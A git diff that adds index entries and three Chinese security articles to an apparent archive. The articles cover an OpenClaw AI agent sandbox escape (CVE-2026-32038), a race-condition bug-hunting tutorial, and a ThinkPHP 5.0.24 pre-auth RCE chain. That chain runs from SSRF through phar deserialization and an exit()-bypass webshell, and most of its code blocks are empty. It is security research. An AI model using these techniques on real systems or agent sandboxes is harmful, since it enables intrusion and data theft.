diff --git a/data.json b/data.json index fa7d28e6..cc3c257a 100644 --- a/data.json +++ b/data.json @@ -20271,5 +20271,18 @@ "https://mp.weixin.qq.com/s/AyBY_zIVYv8nrwl235aZhg": "OpenAI 推出GPT-5.5 生物漏洞奖励计划，最高赏金2.5万美元", "https://mp.weixin.qq.com/s/ZOIw-ddU5YRUo9rm2Ahu9Q": "【高危漏洞预警】Notepad++字符串注入漏洞(CVE-2026-3008)", "https://mp.weixin.qq.com/s/2bRYPweh1tzlqV8JfDwnuA": "【AI安全】别只防输出！AI Agent 的中间流程漏洞百出", - "https://mp.weixin.qq.com/s/X7RDgEZs6UiknLMJKM_GlQ": "Vvveb CMS 任意文件上传导致RCE | CVE-2026-6257原理分析&研究" + "https://mp.weixin.qq.com/s/X7RDgEZs6UiknLMJKM_GlQ": "Vvveb CMS 任意文件上传导致RCE | CVE-2026-6257原理分析&研究", + "https://mp.weixin.qq.com/s/K536X2vV09_tmDLScP-mzQ": "漏洞预警 | Adobe Acrobat Reader远程代码执行漏洞", + "https://mp.weixin.qq.com/s/0k7hkyH8gNiaUK0FT9VfGg": "2025 “泉城杯” 济南市网络安全大赛 题目复现", + "https://mp.weixin.qq.com/s/1YAvYFJ_ywbmsjjloGs-Vw": "【SRC实战】|并发漏洞新手的加油站！", + "https://mp.weixin.qq.com/s/LxcaJcZh_ujFPE2rZEVSNw": "盲SSRF实战：用这招“投石问路”，无声漏洞照样拿赏金", + "https://mp.weixin.qq.com/s/VtS7CflCTMI9Lkk0y4_n4g": "一次案件前台RCE审计", + "https://mp.weixin.qq.com/s/GbC8KYAXswdfqRdL9gKIyA": "漏洞预警 | 孚盟云SQL注入漏洞", + "https://mp.weixin.qq.com/s/UHsu_MTGV2-9xJObaoKG0A": "蚁剑v2.1.15曝致命漏洞！XSS可直接变RCE，点击即中招...", + "https://mp.weixin.qq.com/s/6All2qBlo79FG8KTQCTrmA": "红队神器｜Vue 站点未授权漏洞一键挖掘，这款插件太好用了", + "https://mp.weixin.qq.com/s/6hcanSlxurPwZfquPPKrDg": "密码重置令牌可预测漏洞", + "https://mp.weixin.qq.com/s/nUEiHeVYhn53cJdwnNH2vQ": "黑客利用Telegram做“战报系统”，900余家企业遭React2Shell漏洞批量洗劫", + "https://mp.weixin.qq.com/s/d7xALBk9AkhG0Pl_uaAvIQ": "勒索软件与Mirai的狂欢：CISA最新KEV漏洞技术复盘与防护", + "https://mp.weixin.qq.com/s/Qx_dOttjDfG9-OBh9-Og9w": "OpenClaw安全实战系列(四)：幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战", + "https://mp.weixin.qq.com/s/Vww-RAutlBTjp4HaJakzUQ": "天地伟业Easy7 queryDataByTypeEx SQL注入漏洞" } \ No newline at end of file diff --git a/doc/2026-04/2025 “泉城杯” 济南市网络安全大赛 题目复现.md b/doc/2026-04/2025 “泉城杯” 济南市网络安全大赛 题目复现.md index dd4bf863..f247046b 100644 --- a/doc/2026-04/2025 “泉城杯” 济南市网络安全大赛 题目复现.md +++ b/doc/2026-04/2025 “泉城杯” 济南市网络安全大赛 题目复现.md @@ -1,6 +1,5 @@ # 2025 “泉城杯” 济南市网络安全大赛 题目复现 -原创 小志z - 小志z 志在片语 2026-04-20 14:06 + 赛查查 2026-04-28 01:23 > 其实就是去年大概七月的事情 感觉时间好快 马上又要比CTF了 准备拿一些之前没做出来的逆向密码深入学习一下下（ diff --git a/doc/2026-04/OpenClaw安全实战系列(四)：幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战.md b/doc/2026-04/OpenClaw安全实战系列(四)：幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战.md new file mode 100644 index 00000000..eb687c0c --- /dev/null +++ b/doc/2026-04/OpenClaw安全实战系列(四)：幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战.md @@ -0,0 +1,262 @@ +# OpenClaw安全实战系列(四)：幽灵连通性 — 揭秘CVE-2026-32038沙箱网络隔离绕过与靶标实战 +原创 星云实验室 + 星云实验室 绿盟科技研究通讯 2026-04-28 02:01 + +![](https://mmbiz.qpic.cn/mmbiz_gif/mAopIKtZvYtXibttwOcoxvBticzUs8qiaQguB8j1wuARzymdwQNX7vEbGP0KMtaLxHt2f2A7kDUJMCLoJM9mVLVI6MLicfJesbX9l1qqn9s6TUQ/640?wx_fmt=gif&from=appmsg "") + + + + + +摘要:在OpenClaw安全实战系列的前三篇中，我们分别探讨了[AgentSkill供应链投毒(一)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499591&idx=1&sn=28a52709861e75b80ab3d155ee9620be&scene=21#wechat_redirect) +、[POSIX缩写绕过安全白名单(二)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499691&idx=1&sn=9a5c0303bdfcc6f525fdcc2db947beb8&scene=21#wechat_redirect) +以及[网关劫持实现1-ClickRCE(三)](https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247499830&idx=1&sn=7e8e642a37a47609bbff7a318c88da55&scene=21#wechat_redirect) +。这一系列文章论证了：在Agentic AI深度介入生产环境的当下，任何微小的逻辑解析歧义都可能演变为严重的系统级漏洞。 + +本篇我们将目光转向容器化沙箱的底层隔离边界，剖析CVE-2026-32038。该漏洞源于OpenClaw Gateway在创建沙箱容器时，对Docker网络命名空间共享机制的审计存在盲区。本文将通过模拟真实的业务场景，构建自动化靶场环境，展示攻击者如何利用container:语法，从受限的沙箱环境横向移动，窃取仅监听于本地回环地址的敏感数据库凭据。 + + +关键词：OpenClaw漏洞；CVE-2026-32038；沙箱逃逸；网络隔离绕过；Docker安全 + +注：本文及相关靶标构建方法仅用于安全研究与防御体系学习，请勿将相关技术用于任何未经授权的非法测试网络。 + + +一、背景与机制解析 + + + + + + + + + + +1.1 + +组件架构：Sandbox与Exec的安全底座 + + +在OpenClaw的设计哲学中，为了确保智能体在执行系统级任务时的安全性，构建了双层防御架构： + +1. Exec(审批层)：负责定义智能体调用系统命令的审批逻辑。通过safeBins白名单和ask策略（如on-miss），决定哪些操作可以自动化执行，哪些必须经过人工确认。 + +2. Sandbox(隔离层)：这是OpenClaw的核心安全防护屏障。Sandbox可通过Docker或MicroVM技术，为每个任务创建一个临时的、受限的执行环境，防止模型执行如rm -rf /或反弹Shell等高危指令。 + +核心配置详解：在openclaw.json的agents配置项中，sandbox模块控制着隔离的强度，其主要配置如下所示： + +mode：定义隔离级别（如all表示全量隔离）。 + +workspaceAccess：限制沙箱对宿主机工作目录的访问权限。 + +docker.network：（本次漏洞核心）定义沙箱的网卡模式。默认情况下，为了实现完全隔离，该参数应严禁指向宿主机或其他业务容器。 + +1.2 + +靶场场景构建：幽灵连通性 + + +为了验证由于配置审计疏忽导致的隔离失效风险，绿盟AI靶场通过场景构建模拟了此漏洞场景，旨在直观展示沙箱边界突破后，内部侧向移动带来的严重后果。 + +模拟场景描述：某科技公司的运维团队为了调试生产缓存redis的响应延迟，临时修改了Agent配置。由于网关在处理docker.network参数时，仅防御了常规的--network=host，却忽略了利用Docker网络命名空间共享特性的攻击路径，导致一个名为“幽灵连通性”的逻辑后门被植入系统。攻击者的目标是利用此边界缺陷，绕过沙箱限制，窃取Redis中存储的生产环境备份密钥。 + + + +二、CVE-2026-32038深度剖析 + + + + + + + + + + +2.1 + +漏洞基本信息 + + +根据NVD的官方定义[1]，该漏洞被归类为CWE-265（权限management绕过）。其核心风险在于，攻击者通过操纵沙箱创建参数，可以获得本不属于该环境的网络访问权限，CVSS评分高达9.0。 + +2.2 + +防御机制的底层语义盲区 + +该漏洞揭示了安全审计引擎与底层执行器Docker之间对参数语义理解的不对等。 + +在旧版本代码中，网关仅对network参数实施了简单的黑名单策略，主要是为了防止Agent加入宿主机网络： +``` +//脆弱的审计逻辑示例 +if(config.network==='host'){ +thrownewError('Hostnetworkisforbiddeninsandbox!'); +} +``` + +然而，Docker支持一种隐蔽的共享模式：--network=container:victim-container。当此参数生效时，新容器不会创建自己的网络协议栈，而是直接复用目标容器的网卡、IP以及回环地址。由于审计层不认为container:<字符串>是危险的，载荷被顺利放行。此时，原本处于完全隔离状态的沙箱，在网络层面上已与受害者容器完全合并，实现了“幽灵式”的连通[2]。 + + + +三、自动化靶场环境搭建 + + + + + + + + + + +3.1 + +核心环境依赖 + + +

组件

版本

角色

OpenClaw 

2026.2.23

漏洞承载环境

Docker

20.10.x+

基础设施

Redis

latest

受害者服务（模拟生产环境）

+ + +3.2 + +漏洞环境部署 + + +第一步：部署受害者环境启动一个仅在容器本地127.0.0.1监听的Redis服务，并植入敏感Flag： +``` +docker run -d –name victim-service redis:latest redis-server—bind 127.0.0.1 +docker exec victim-service redis-cli SETBACKUP_KEY"FLAG{Namespace_Join_RCE_2026}" +``` + + +第二步：配置脆弱的OpenClaw Agent修改openclaw.json，将沙箱网络模式指向受害者容器： +``` +"sandbox": { + "docker": { +   "image": "busybox:latest", +   "network": "container:victim-service" + } +} +``` + + + +四、漏洞复现与利用 + + + + + + + + + + +4.1 + +攻击路径演示 + +![](https://mmbiz.qpic.cn/mmbiz_png/mAopIKtZvYt0fZG9coolP5gg7lgvsgKxJGG8Q2gBfhKgbfn6bc8iaUQDUumGYQHhPuFPlAibdShSEvnFGP8sv2rUicQEeKZD1RavrorDsIz9gU/640?wx_fmt=png&from=appmsg "") + +图1 漏洞攻击路径步骤图 + +步骤1：横向探测攻击者利用沙箱内置的nc即可探测受害者服务的连通性。由于共享了网络命名空间，原本不可触达的127.0.0.1:6379现在完全暴露 + +步骤2：敏感数据窃取通过Redis协议提取备份密钥 + + +4.2 + +利用效果 + +![](https://mmbiz.qpic.cn/mmbiz_png/mAopIKtZvYuppLDibicV9ibEQL39L1Yj4TZZHicYAu50eib1ahT5uOvReDfIuMweWutFWlW2KhSMryV6iaR6ZhWsQ3IHxlfONwmdNZ1K2FYemSsQs/640?wx_fmt=png&from=appmsg "") + +图2 利用沙箱内置的nc探测受害者服务的连通性 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mAopIKtZvYsv7IGwZnGCUamHVJciavLiaRGAiaDAUaFB70SrmEQ4cxPfzT3icuicwqxVFdfH3yzHy6x5MDbSA1pNJTGN8CUpBg1sibzibGyALPCr8Y/640?wx_fmt=png&from=appmsg "") + +图3 敏感数据窃取通过Redis协议提取备份密钥 + + + +五、安全防护最佳实践 + + + + + + + + + + +1. 内核防御：升级版本立即升级至OpenClaw 2026.2.24以上版本。官方在最新的安全公告中指出，该版本已重构了DockerDriver.ts的参数校验模块，通过正则白名单强制拦截任何未经显式授权的container:命名空间加入请求[2]。笔者也尝试通过升级版本再复现该漏洞，发现配置容器网络行为被默认禁止，如下图所示： + +![](https://mmbiz.qpic.cn/mmbiz_png/mAopIKtZvYvXMyfXanre8726tp3mHcFSrVxGibKW0gXKq7Ed5d6rAMDT0ysun8hujeFLJBXLymdABnDmNYaX2jr2zod1tMcg0YHrYKQiaU1tc/640?wx_fmt=png&from=appmsg "") + +图4 OpenClaw 2026.2.24版本已拦截任何未经显式授权的container:命名空间加入请求 + +2. 配置强加固：遵循最小权限原则，在openclaw.json中严格限制docker.network仅允许使用bridge或none模式。 + +3. 零信任准入：即便对于内部Agent的配置变更，也应通过Exec审批流进行二次人工确认，防止通过配置篡改实现“幽灵连通”。这一部分内容也可以参考之前的《POSIX缩写绕过安全白名单(二)》系列文章，其中有详细说明。 + + + +六、绿盟AI靶场创新方案 + + + + + + + + + + +绿盟科技星云实验室已将该复现逻辑集成于AI靶场 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mAopIKtZvYuuzLWFxBae8eEicVXWHOBEKjkHag8zJ36vBgQFVgI26GiaG7LZ6oIl6oeVPoBmT1EZkbyicVOIvr2B9P6MHHOic0tkHsvOlRJ8Zc0/640?wx_fmt=png&from=appmsg "") + +图5 绿盟大模型靶场管理平台 + +AI靶场方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景： + +AI系统对外部环境的威胁场景：在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。 + +外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。 + +AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mAopIKtZvYvRNnOU1lYiaqPxz3nvpzoUl11hyXwiaRnUHgXdm5vn9FH5fw73qDHicqricUP5pJ0K41FRunQiaXUMzX6K12ngC38Rsc7QVEO1S9wk/640?wx_fmt=png&from=appmsg "") + +图6 AI靶场场景概览 + + +参考文献 + +[1] NVD CVE-2026-32038 Detail. https://nvd.nist.gov/vuln/detail/CVE-2026-32038 + +[2] OpenClaw Security Advisories: Sandbox Isolation Bypass. https://github.com/openclaw/openclaw/security/advisories + +[3] Docker Security: Network Namespace Isolation. https://docs.docker.com/engine/security/ + + +内容编辑：浦   明 + +责任编辑：吕治政 + +本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。 + + +**关于我们** + + +绿盟科技研究通讯由绿盟科技创新研究院负责运营，绿盟科技创新研究院是绿盟科技的前沿技术研究部门，包括星云实验室、天枢实验室和孵化中心。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。 + +绿盟科技创新研究院作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一，与清华大学进行博士后联合培养，科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。 + +我们持续探索信息安全领域的前沿学术方向，从实践出发，结合公司资源和先进技术，实现概念级的原型系统，进而交付产品线孵化产品并创造巨大的经济价值。 + + + + diff --git a/doc/2026-04/【SRC实战】并发漏洞新手的加油站！.md b/doc/2026-04/【SRC实战】并发漏洞新手的加油站！.md new file mode 100644 index 00000000..c00f91a0 --- /dev/null +++ b/doc/2026-04/【SRC实战】并发漏洞新手的加油站！.md @@ -0,0 +1,349 @@ +# 【SRC实战】|并发漏洞新手的加油站！ +隐雾安全 + 隐雾安全 隐雾安全 2026-04-28 01:02 + +📝 **编者语** + +很多人觉得并发哪有注入，命令执行来的迷人，所以并发往往被忽略，但它的产出却非常稳定： + +不依赖复杂payload，很多时候只是： + +**在“同一时间”，多发几次请求。非常适合新手。** + +这篇文章，是学员在实战中挖到的两个并发案例。 + +我们重点不只是看结果，而是看： + +这个漏洞，是怎么被想到、被验证、被放大的。 + +1 + +先讲清楚：什么是并发漏洞？ + +用一句话解释： + +**并发漏洞 = 系统在“同一时间处理多个请求”时，没有做好状态校验** + + +**举个简单例子** + +正常逻辑是： + +扣积分 → 抽奖 → 返回结果 + +但如果你同时发两个请求： + +请求1：扣积分 +请求2：也在扣积分之前进入 + +就可能变成： + +- **扣一次积分** + +- **执行两次抽奖** + + + + +**本质问题是什么？** + +“检查”和“执行”不是原子操作 + +系统以为你只会请求一次，但你同时发了多次。 + + +**并发漏洞常见在哪？** + +我这段时间总结下来，高频点是： + +- **抽奖 / 抢购** + +- **积分获取** + +- **优惠领取** + +- **答题 / 投票** + +- **下单 / 支付** + + + + 一句话： + +**所有“有次数限制 / 有资源消耗”的地方，都值得测并发** + +2 + +案例一：抽奖并发，多抽一次 + +这个案例其实很典型。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4mrEYejb7xNfQDu7BNxeTve00ceHmWpLDBB3p46XNfxrXJOQWKCyTDK4gMvrgIyHOIQXO6lyqZVqg7G96SkdIVMMzC0LiahaG08/640?wx_fmt=png&from=appmsg "") + +1️⃣ 业务规则很清晰 + +系统规则是： + + 一次抽奖需要 88 积分 + +而我当时只有： + +130 积分 + +按正常逻辑： + +只能抽 1 次 + + +2️⃣ 我当时的想法很简单 + +看到这种“扣积分 → 执行操作”的流程，我现在基本会多问一句： + +**“如果我同时发两个请求呢？”** + +于是我直接用工具做并发请求。 + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4nFRfkVJbHtUXaZmUJU8HpoMHD7y8tjvAQ0SZ4yzn2nQafIOE4LC9ibBl7sAM502NXqq99RicMTA4QrAV3CJChzxccuRyMkqDmH8/640?wx_fmt=png&from=appmsg "") + + +3️⃣ 并发结果 + +结果是： + +成功抽了 2 次 + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4lophiczgE3ntic3lYI3D1NheS1REf01n1MZliaUYpT0PISsKV5WwHAfF02Spicicxh6ElnE9jMynQsjBmFxtxCCxSAJ7RkkpibZxcOk/640?wx_fmt=png&from=appmsg "") + + +4️⃣ 实际效果 + +- **积分只扣了一次** + +- **抽奖执行了两次** + + + +这是一个典型的：**临界条件竞争** + + +5️⃣ 为什么能成功？ + +本质原因是： + +系统流程类似这样： + +判断积分是否足够 → 扣积分 → 抽奖 + +但在并发情况下： + +- **两个请求都通过了“判断”** + +- **然后才执行扣积分** + + + +导致逻辑错乱。 + + +6️⃣积累的经验 + +这次出货让我意识到： + +**“有消耗的操作，一定要测并发”** + +尤其是： + +- **抽奖** + +- **兑换** + +- **支付前校验** + + + + +3 + +案例二：答题并发，积分直接叠加 + +第二个案例，其实更有意思一点。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DJX1rNqJe4lrh5uVEnIuvVeibk1WpWRlNOkB9Y42iaibsm9iaSwcy1BKoibMal1FEBQFLF1PTcHE2lZDn2f6uJdKxxl8ddPlWlzrkyiaic6Z3GNOUg/640?wx_fmt=png&from=appmsg "") + +1️⃣ 正常业务逻辑 + +在这个场景里： + +用户发布答题，可以选择“最佳答案” + +系统规则是： + +- **只能选一次** + +- **会给对应积分** + +- **发布答题会扣分** + + + + +2️⃣ 关注点 + +看到这种功能，第一反应应该是： + +**有没有次数限制？能不能绕？** + +于是抓包看接口。 + + +3️⃣ 并发测试 + +对“选择最佳答案”的请求做了并发发送。 + +结果是： + +并发成功 + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4libbVVg059Lde73VhutQicOVXh4QDrI8mSrIZZmuuLEnaBice9NgGdWibXThGPjbJjjicKKIDwABcd6bObn5rSF6uceLDuC2RNDmIo/640?wx_fmt=png&from=appmsg "") + + +4️⃣ 实际效果 + +- **积分多次增加** + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/DJX1rNqJe4l56FNDIzCqe9H0f1s4SjK5InoicHUZJcLN4dic8F5XUUvHqV0fxqtibnYoDd4ia8A9YwSL3QbTQjkbOaj5ibOk2L0CMAjkZQ0Wib6A0/640?wx_fmt=png&from=appmsg "") + +- **但扣分只发生了一次** + + + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4nXpEXdicnKdntQxxuNseeZVYUavAQdUx3SMdcLC1kdPUBian9M4FeBpwoPfRebcdfI7y6aKYoLUurhER3erUtFibVv1UXFgxsuJo/640?wx_fmt=png&from=appmsg "") + +直接变成“薅积分” + + +5️⃣ 这个漏洞的本质 + +和第一个案例其实一样： + +状态校验失效 + 并发请求 + +系统逻辑是： + +判断是否已选择 → 执行选择 → 加积分 + +但在并发情况下： + +- **多个请求同时通过判断** + +- **都执行了加积分** + + + + +6️⃣ 一个细节（很重要） + +这个点如果只测一次，是发现不了问题的。 + +必须： + +刻意去做“同时请求” + + +4 + +这两个案例的共同点 + +如果你把两个案例放在一起看，其实非常统一： + + +核心问题 + +状态没有锁 / 没有做原子控制 + + +共同特点 + +- **有“次数限制”** + +- **有“资源变化”（积分 / 次数）** + +- **有“判断 → 执行”流程** + + + + +利用方式 + +并发请求 + +**还原它做了什么** + + +5 + +测并发的“固定动作” + +挖到这两个漏洞后，我基本形成了几个习惯： + + +1️⃣ 看到“扣积分” → 必测并发 + + +2️⃣ 看到“只能一次” → 必测并发 + + +3️⃣ 看到“抽奖 / 领取” → 必测并发 + + +4️⃣ 能重复发包 → 一定试并发 + + +**判断是否成功的关键** + +看三点： + +- **是否执行多次** + +- **是否只扣一次资源** + +- **返回结果是否异常** + + + +这两个漏洞让我印象比较深的一点是： + +**它们都不复杂，但很稳定。** + +不需要： + +- **写复杂 payload** + +- **绕各种限制** + + + +只需要： + +多发几次，而且是“同时发” + + +🎁 文末福利 + +联系客服获取《并发漏洞挖掘与利用思路整理》 + +**!** + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/DJX1rNqJe4lNswA7jGjqwqkaAe5yyDC1W2k0tmNFBCVhIXK8uL1Jfq5I9ot223kPHdVyEP5am0xUwtSX6PLkqbLZVBNzGAoylXvM7NUeGB8/640?wx_fmt=jpeg&from=appmsg "") + + +**微信号丨** +Hiddenfog001 + +![](https://mmbiz.qpic.cn/mmbiz_png/DJX1rNqJe4lWJsOhNzklbmpesribNNdH5M7mf50kDnAVBEeicJRibQ5a4vJibiaUuicfx4PM5Wib8sKtCuibbEMkQoicHAcIvwGJibEGVt7E56RiafuO6c/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2026-04/一次案件前台RCE审计.md b/doc/2026-04/一次案件前台RCE审计.md new file mode 100644 index 00000000..9f5bf0d9 --- /dev/null +++ b/doc/2026-04/一次案件前台RCE审计.md @@ -0,0 +1,663 @@ +# 一次案件前台RCE审计 +原创 秋风 + 秋风 秋风的安全之路 2026-04-28 01:01 + +# 一次案件前台RCE审计 +> 目标：某涉案IM系统（ThinkPHP 5.0.24 / FastAdmin 2.5.1） +成果：前台无条件RCE，获取webshell +> 作者：秋风 + +### 利用链总览 +``` +``` +## 0x01 目标概况 + +拿到源码先看目录结构。根目录下有  +thinkphp/ + 目录、 +application/ + 目录和  +public/index.php + 入口文件，是标准的 ThinkPHP 5 + FastAdmin 结构。 + +翻了下  +thinkphp/base.php +，版本写死的  +5.0.24 +。后台控制器的 namespace 是  +app\adim888\controller +，后台路径  +/adim888/ +，不是默认的  +/admin/ +。 + +服务器环境是通过后面的SSRF读配置文件一步步摸清的： + +
项目值
框架ThinkPHP 5.0.24 + FastAdmin 2.5.1
服务器Linux im163 6.1.56 (Amazon Linux 2023) x86_64
PHP7.x，short_open_tag=On
open_basedir/www/wwwroot/admin/:/tmp/
disable_functionssystem, exec, shell_exec, passthru, popen, proc_open 等
Web根目录/www/wwwroot/admin/public/
面板宝塔Linux
## 0x02 攻击面梳理 + +前台能打的只有  +application/api/controller/ + 下面这些控制器。后台  +/adim888/ + 需要管理员session，先不管。 + +逐个翻前台控制器，找的是这几种模式： +- file_get_contents($可控) + —— SSRF + +- 裸SQL拼接，或者  +->where($可控字符串) + —— SQLi + +- 文件操作（上传/删除/包含） + +- 任何可能触发反序列化的sink（ +unserialize +、 +phar:// +） + +## 0x03 漏洞一：SSRF —— /api/image/image + +翻到  +application/api/controller/Image.php +，整个控制器就一个方法，写得非常直接： +``` +``` + +$noNeedLogin = '*' + 意味着这个接口完全不需要认证。 +input('url') + 直接拿用户传入的url参数，丢给  +file_get_contents() +，没有任何过滤。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/ogrJiczzwv0DQhIwMgRMYvvPjZy0bF6QRJYiaxUhXDdP4TEl88eGicMbgb09zjEl8sicMjEfz075qZEKRsp6Vw6CCFia9VBHRJ9eED159HnZCyZw/640?wx_fmt=png&from=appmsg "") + + +这个SSRF能做的事情很多： + +**读本地文件：** +``` +``` + +受 open_basedir 限制，只能读  +/www/wwwroot/admin/ + 和  +/tmp/ + 两个目录。不过对审计来说够用了——整个项目源码和ThinkPHP框架源码都在  +/www/wwwroot/admin/ + 下面。 + +但是仅仅是读本地文件+env打链子在无法远程mysql连接的情况下是不行的 + +但是 要注意 +file_get_contents() + 支持  +phar:// + 协议 + +**触发phar反序列化：** +``` +``` + +这就是后面RCE的触发点。 +## 0x04 漏洞二：上传校验不足 —— /api/common/upload + +application/api/controller/Common.php + 的  +upload() + 方法： +``` +``` + +校验逻辑只看后缀名是不是在白名单里。 +jpg + 在白名单中，后缀校验通过。上传后存到  +/uploads/YYYYMMDD/{filemd5}.jpg +，路径完全可预测。 + +关键问题： +**只校验后缀，不检查文件内容** +。一个PHAR文件，只要后缀是  +.jpg +，就能直接传上去。后面会利用这一点上传 PHAR-JPEG polyglot。 +## 0x05 漏洞三：注册绕过 —— os=pc + +看  +User.php + 的  +register() + 方法（line 809），注册流程中会根据  +os + 参数判断客户端类型： +``` +``` + +当  +$client == "pc" + 时走PC端流程，不需要手机验证码。直接  +POST /api/user/register + 带上  +os=pc + 就能注册账号，用于后续获取上传接口的认证token。 +## 0x06 ThinkPHP 5.0.24 POP链分析 + +上面找到了SSRF（触发点）、上传（payload投递），下一步就是构造PHAR里的反序列化payload。ThinkPHP 5.0.24有一条经典的POP链，终点是往磁盘写PHP文件。 +### 链的入口：Windows::__destruct + +thinkphp/library/think/process/pipes/Windows.php +： +``` +``` + +$this->files + 可控。当  +$filename + 是一个对象时， +file_exists() + 会隐式调用  +__toString() +。把  +$this->files + 设为  +[Pivot对象] + 就能跳到下一步。 +### Pivot::__toString → toArray + +think\Model +（Pivot的父类）的  +__toString() + 最终调用  +toArray() +。 +toArray() + 里面有一段处理  +$this->append + 的逻辑（Model.php line 887-923）： +``` +``` + +设  +$this->append = ['getError'] +，Pivot有  +getError() + 方法（返回  +$this->error +）， +$this->error + 设为一个  +HasOne + 关系对象。 + +getRelationData() + 这里有个关键判断（Model.php line 639-651）： +``` +``` + +控制  +$this->parent + 为  +Output + 对象， +HasOne::isSelfRelation() + 返回 false，类名匹配条件满足后， +$value + 就是这个  +Output + 对象。 + +然后遍历  +bindAttr +，调用  +$value->getAttr($attr) +——但  +Output + 没有  +getAttr + 方法，触发  +__call +。 +### Output::__call → Memcached::write + +think\console\Output + 的  +__call + 实现（Output.php line 209-220）： +``` +``` + +$this->styles + 设为  +['getAttr'] +，匹配成功后调用  +block('getAttr', 'no') +： +``` +``` + +输出  +no +，经过  +writeln() + →  +write() + →  +$this->handle->write() +。 + +$this->handle + 设为  +Memcached + 对象（ +think\session\driver\Memcached +，不是PHP的ext-memcached扩展）： +``` +``` + +$this->handler + 设为  +File + 缓存驱动对象， +$sessID + 就是那个  +no + 字符串。 +### File::set —— 终点：写文件 + +think\cache\driver\File + 的  +set() + 方法（File.php line 141-167）： +``` +``` + +$this->options['path'] + 完全可控。 +set() + 干了两件事： +1. **写主缓存文件** +：文件名 =  +path + md5($name) + '.php' +，内容 =  + + 前缀 +  +serialize(true) + 即  +b:1; + +1. **调用 setTagItem($filename)** +：把主缓存文件的完整路径作为值，写到tag文件里 + +setTagItem() + 在父类  +Driver + 中（Driver.php line 188-202）： +``` +``` + +tag文件的内容 =  + + 前缀 +  +serialize(主缓存文件路径) +。 +### 问题来了：exit() + +不管是主缓存文件还是tag文件，内容开头都有  +\n +。直接HTTP访问这些文件会执行到  +exit() + 就结束了，后面的 webshell 代码永远跑不到。 + +所以关键在于： +**$this->options['path'] 可以设为 php://filter/write=XXX/resource=... 的形式** +，利用PHP流过滤器在写入时对内容做变换，把  +exit() + 搞掉。 +## 0x07 绕 exit() +### 第一次：string.rot13（失败） + +思路：ROT13把  + + 变成  + +，正常情况下不被PHP执行。 +``` +``` + +写入后文件内容变成： +``` +``` + +**但是服务器 short_open_tag=On。** + + + 标签整个删掉，包括  +exit() + +1. convert.base64-decode + 把剩余内容做base64解码，提取出预埋的webshell + +构造的 webshell 是  + + 关闭PHP块，再后面的内容当HTML处理。 +### 关于 die() 和 ?> 的必要性 + +第一次尝试 iconv 时，shell 写的是  + +）。结果PHP解析器把shell后面的乱码字节也当PHP代码去解析，触发了 Parse Error，整个文件不可执行。 + +加上  +?> + 关闭标签后： +- + —— PHP块正确关闭 + +- 后续乱码被当作HTML文本，不影响PHP执行 + +- die() + 阻止PHP输出乱码HTML + +### 字节对齐 + +UCS-2要求处理的数据长度是偶数。写入的总内容包括： +``` +``` + +预编码shell从第124字节开始，偏移为偶数，交换后能正确还原。总内容192字节，也是偶数。 + +如果不加那个  +_ + padding，总长度是奇数，最后一个字节没有配对，整个iconv转换就会出错。 +## 0x08 PHAR-JPEG Polyglot + +上传接口只接受图片后缀，而且上传后会调用  +getimagesize() + 校验。所以PHAR文件需要同时是合法的JPEG。 + +做法是用GD库生成一个1x1的JPEG，取其二进制内容（去掉末尾2字节EOI标记），再拼接上PHAR的  +__HALT_COMPILER() + 标记作为stub： +``` +``` + +生成的文件： +- getimagesize() + 识别为 1x1 image/jpeg（JPEG头完整） + +- PHP PHAR引擎能正确解析（ +__HALT_COMPILER() + 标记存在） + +- 后缀  +.jpg + 通过上传白名单 + +## 0x09 open_basedir的影响 + +服务器配置了  +open_basedir = /www/wwwroot/admin/:/tmp/ +。这个限制对攻击链的每个环节影响如下： + +**SSRF读文件：** + +file_get_contents('file:///etc/passwd') + 会被拦。但  +/www/wwwroot/admin/ + 正好包含了整个项目目录，所有源码和框架文件都能读。 +/tmp/ + 可以用来读临时文件。对审计来说完全够用。 + +**PHAR写文件：** + +file_put_contents() + 写文件受 open_basedir 限制。但 webroot  +/www/wwwroot/admin/public/ + 就在  +/www/wwwroot/admin/ + 的子目录下，在允许范围内。如果 webroot 不在 open_basedir 列表里，这条链就断了。 + +**webshell执行：** + shell落地后， +eval() + 